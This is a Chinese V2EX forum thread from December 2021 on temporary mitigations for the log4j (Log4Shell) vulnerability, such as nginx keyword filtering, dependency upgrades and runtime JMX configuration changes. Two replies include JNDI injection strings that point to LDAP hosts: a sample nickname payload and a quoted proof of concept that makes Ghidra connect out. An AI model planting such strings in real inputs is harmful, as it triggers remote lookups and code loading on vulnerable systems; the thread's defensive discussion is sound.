关于 log4j 的一种临时解决方案 - V2EX
V2EX = way to explore
V2EX 是一个关于分享和探索的地方
现在注册
已注册用户请  登录
amrom
V2EX    Java

关于 log4j 的一种临时解决方案

  •  
  •   amrom 2021-12-13 15:58:11 +08:00 3411 次点击
    这是一个创建于 1401 天前的主题,其中的信息可能已经有所发展或是发生改变。

    最近看到很多讨论 log4j 的那个 bug ,修复方案很多,但是基本都要动线上服务,我分享一种思路,大伙帮忙看下: 使用 nginx 来拦截指定关键字,不知道这样可行不

    13 条回复    2021-12-14 15:14:55 +08:00
    yanqiyu
        1
    yanqiyu  
       2021-12-13 16:00:54 +08:00
    类似于 WAF ,应该好使,但是你怎么保证你的关键字拦截包含了所有情况?
    比如某个后端程序会对请求里面的 base64 字段解码后写日志,这时候关键字不就不好使了
    amrom
        2
    amrom  
    OP
       2021-12-13 16:02:20 +08:00
    @yanqiyu nginx 拦截应该可以应对起码一半以上的情况,不能拦截文本中的内容,或者加密后的东西,只能当作一种临时方案,给后端服务留下时间修复
    liuidetmks
        3
    liuidetmks  
       2021-12-13 16:02:30 +08:00
    有时候,参数是加密的,或者参数是 base64 之后的 ,不同业务甚至叠加了各种 encode
    zeni123
        4
    zeni123  
       2021-12-13 18:42:31 +08:00
    还是得用 java instrumentation ,因为你不知道 你的包的依赖里面藏了一个 log4j
    a398058068
        5
    a398058068  
       2021-12-13 18:45:59 +08:00
    spring boot + lombok 用 @sl4j2 注解 ,切换上层日志框架 基本 0 成本
    BeautifulSoap
        6
    BeautifulSoap  
       2021-12-13 18:48:04 +08:00
    拦截不光要拦截 url 还得拦截 post/put 等的 payload
    通过车 websocks 的话也要处理
    还有上传的文件内容、文件名之类的
    zeni123
        7
    zeni123  
       2021-12-13 18:54:18 +08:00
    @BeautifulSoap 两个值加起来的这种已有可能成功吧 ,可以用特殊字符 log.info("value is {} and {}", var1,var2); 可能性太多了
    podel
        8
    podel  
       2021-12-13 19:00:55 +08:00
    有很多陈年老服务甚至都不维护了。一丁点配置改动都不敢动。
    楼主应该说的这种情况。
    xuanbg
        9
    xuanbg  
       2021-12-13 19:29:03 +08:00
    拦截肯定不能完全拦住,那就等于没拦。

    pom 文件里面指定一下版本再重新打包发布很难吗?
    izoabr
        10
    izoabr  
       2021-12-13 22:55:27 +08:00
    没用,都用 WAF 拦都抗不过一会儿一个变种 payload
    dallaslu
        11
    dallaslu  
       2021-12-14 11:27:33 +08:00
    还有第三方接口的返回内容。比如微信昵称叫,支付宝商品名,都有可能是 ${jndi:ldap://a.cn}
    ikas
        12
    ikas  
       2021-12-14 13:47:01 +08:00
    如果你的部署没有禁止 mbean 连接,可以使用 mbean 动态修改配置...

    1.打开 jconsole,连接你的 app,然后找到 org.apache.logging.log4j2..
    2.找到 操作>getConfigText ,参数填写 utf-8,然后执行获取当前配置,复制配置,修改好
    3.找到 操作>setConfigText,参数填写(配置 text,utf-8),然后执行
    fengjianxinghun
        13
    fengjianxinghun  
       2021-12-14 15:14:55 +08:00
    甚至二进制文件里带 jndi 。。。。

    ```
    https://twitter.com/zhuowei/status/1469176410170437634

    Zhuowei Zhang
    @zhuowei
    ghidra_10.0.2_PUBLIC $ find . -name "*.jar"|grep log
    ./Ghidra/Framework/Generic/lib/log4j-core-2.12.1.jar
    ./Ghidra/Framework/Generic/lib/log4j-api-2.12.1.jar
    ./Ghidra/Features/GhidraServer/data/yajsw-stable-12.12/lib/core/commons/commons-logging-1.1.jar

    crap

    1:25 PM Dec 10, 2021

    https://twitter.com/zhuowei/status/1469186818549719042

    Zhuowei Zhang
    @zhuowei
    Ghidra's vulnerable to log4j:
    __attribute__((__section__(".note.${jndi:ldap://127.0.0.1:1234/abc}")))
    int a = 1;
    int main(){}
    $ gcc hello.c
    $ nc -l 1234
    Load into Ghidra; it connects to 127.0.0.1:1234.
    Ghidra 10.0.2, macOS OpenJDK Corretto 11.0.4.11.1

    2:06 PM Dec 10, 2021
    ```
    关于     帮助文档     自助推广系统     博客     API     FAQ     Solana     3611 人在线   最高记录 6679       Select Language
    创意工作者们的社区
    World is powered by solitude
    VERSION: 3.9.8.5 25ms UTC 10:34 PVG 18:34 LAX 03:34 JFK 06:34
    Do have faith in what you're doing.
    ubao snddm index pchome yahoo rakuten mypaper meadowduck bidyahoo youbao zxmzxm asda bnvcg cvbfg dfscv mmhjk xxddc yybgb zznbn ccubao uaitu acv GXCV ET GDG YH FG BCVB FJFH CBRE CBC GDG ET54 WRWR RWER WREW WRWER RWER SDG EW SF DSFSF fbbs ubao fhd dfg ewr dg df ewwr ewwr et ruyut utut dfg fgd gdfgt etg dfgt dfgd ert4 gd fgg wr 235 wer3 we vsdf sdf gdf ert xcv sdf rwer hfd dfg cvb rwf afb dfh jgh bmn lgh rty gfds cxv xcv xcs vdas fdf fgd cv sdf tert sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf shasha9178 shasha9178 shasha9178 shasha9178 shasha9178 liflif2 liflif2 liflif2 liflif2 liflif2 liblib3 liblib3 liblib3 liblib3 liblib3 zhazha444 zhazha444 zhazha444 zhazha444 zhazha444 dende5 dende denden denden2 denden21 fenfen9 fenf619 fen619 fenfe9 fe619 sdf sdf sdf sdf sdf zhazh90 zhazh0 zhaa50 zha90 zh590 zho zhoz zhozh zhozho zhozho2 lislis lls95 lili95 lils5 liss9 sdf0ty987 sdft876 sdft9876 sdf09876 sd0t9876 sdf0ty98 sdf0976 sdf0ty986 sdf0ty96 sdf0t76 sdf0876 df0ty98 sf0t876 sd0ty76 sdy76 sdf76 sdf0t76 sdf0ty9 sdf0ty98 sdf0ty987 sdf0ty98 sdf6676 sdf876 sd876 sd876 sdf6 sdf6 sdf9876 sdf0t sdf06 sdf0ty9776 sdf0ty9776 sdf0ty76 sdf8876 sdf0t sd6 sdf06 s688876 sd688 sdf86